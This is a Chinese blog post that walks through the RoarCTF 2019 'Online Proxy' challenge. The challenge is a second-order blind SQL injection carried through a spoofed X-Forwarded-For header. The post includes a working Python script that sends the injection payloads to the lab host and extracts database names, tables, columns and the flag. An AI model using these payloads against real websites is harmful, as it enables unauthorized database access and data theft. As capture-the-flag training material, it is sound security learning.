nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

BUU [RoarCTF 2019]Online Proxy

前言

草,自己打不开环境,只能赛博看一下了,只能抄原文了。。。,有没有大哥懂0'+0'是干嘛的啊
https://blog.csdn.net/weixin_44077544/article/details/102636793?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171024891716800182779792%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=171024891716800182779792&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-102636793-null-null.142^v99^pc_search_result_base8&utm_term=%5BRoarCTF%202019%5DOnline%20Proxy&spm=1018.2226.3001.4187
https://blog.csdn.net/Jayjay___/article/details/136551518

解题

看源代码发现2024-03-12T13:09:40.png
显示了我们的ip,我们试一试改我们的ip地址,。并且我们发现,通过X-Forwarded-For,确实可以伪造我们的IP,而且还会显示last和current,ip2024-03-12T13:10:54.png
见过ssti,我们试一试,没有屁用,发现能够显示出我们的last xff肯定是记录在数据库了的,思考一下可不可能为二次注入,于是我们开始尝试
我们测试一下,先输入 1’ or ‘1 此时我们的current IP就等于它,让后我们再随便换一个其他的东西,只要和刚才那个不一样就可以,比如111,那么我们的current IP就成了:111,而last IP就是1’ or ‘1,此时1’ or '1已经写入了数据库 .因为第一次和第二次传输的IP不一样,所以服务器并不会从数据库找last IP,它会把上次的IP(1’or ‘1)直接显示为last IP,让后存入数据库。那么我们再传一次111,因为和currnet IP相同,那么last IP就会从数据库里寻找,也就是会执行1’or‘1,结果为一。
细节就是需要尝试三次,我们第一次输入的ip才会进入数据库的查询
发包一次结果(插入SQL语句)
2024-03-12T13:15:51.png
发包两次结果(记得前后XFF不一,执行插入的SQL语句)
2024-03-12T13:16:03.png
发包三次结果(回显结果)
2024-03-12T13:16:16.png
测试发现只会回显0和1
所以我们需要采取盲注
如何因为是插入的操作,我们可以使用我们的0+0注入
放图片解释一下
2024-03-12T13:22:04.png
因为回显的是正确或者错误,我们就需要用>或者<来判断
把我们的数据转化为16进制,然后判断出16进制数,然后就可以获得我们的数据的16进制编码
解码既得到我们的数据
盲注脚本

import requests


url = "http://node3.buuoj.cn:25174/"

#这个head头好像必须加cookie
head ={
    "X-Forwarded-For":"",
    "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888"
}

# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag =""

for i in range(1,1000):
    low = 32
    high =137
    mid = (low+high)//2

    while(low < high):
        print(i,mid)
        '''插入sql语句'''
        payload1 = payload.format(i,mid)
        head["X-Forwarded-For"] = payload1
        print(head["X-Forwarded-For"])
        r = requests.get(url,headers=head)

        '''重新发送两次请求'''
        head["X-Forwarded-For"]= "penson"
        r = requests.get(url,headers=head)
        r = requests.get(url,headers=head)

        if "Last Ip: 1 " in r.text:
            low = mid+1
        else:
            high = mid

        mid =(low+high)//2


    if(mid ==32 or mid ==127):
        break
    flag +=chr(mid)
    print(flag)

print(flag)

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » BUU [RoarCTF 2019]Online Proxy

评论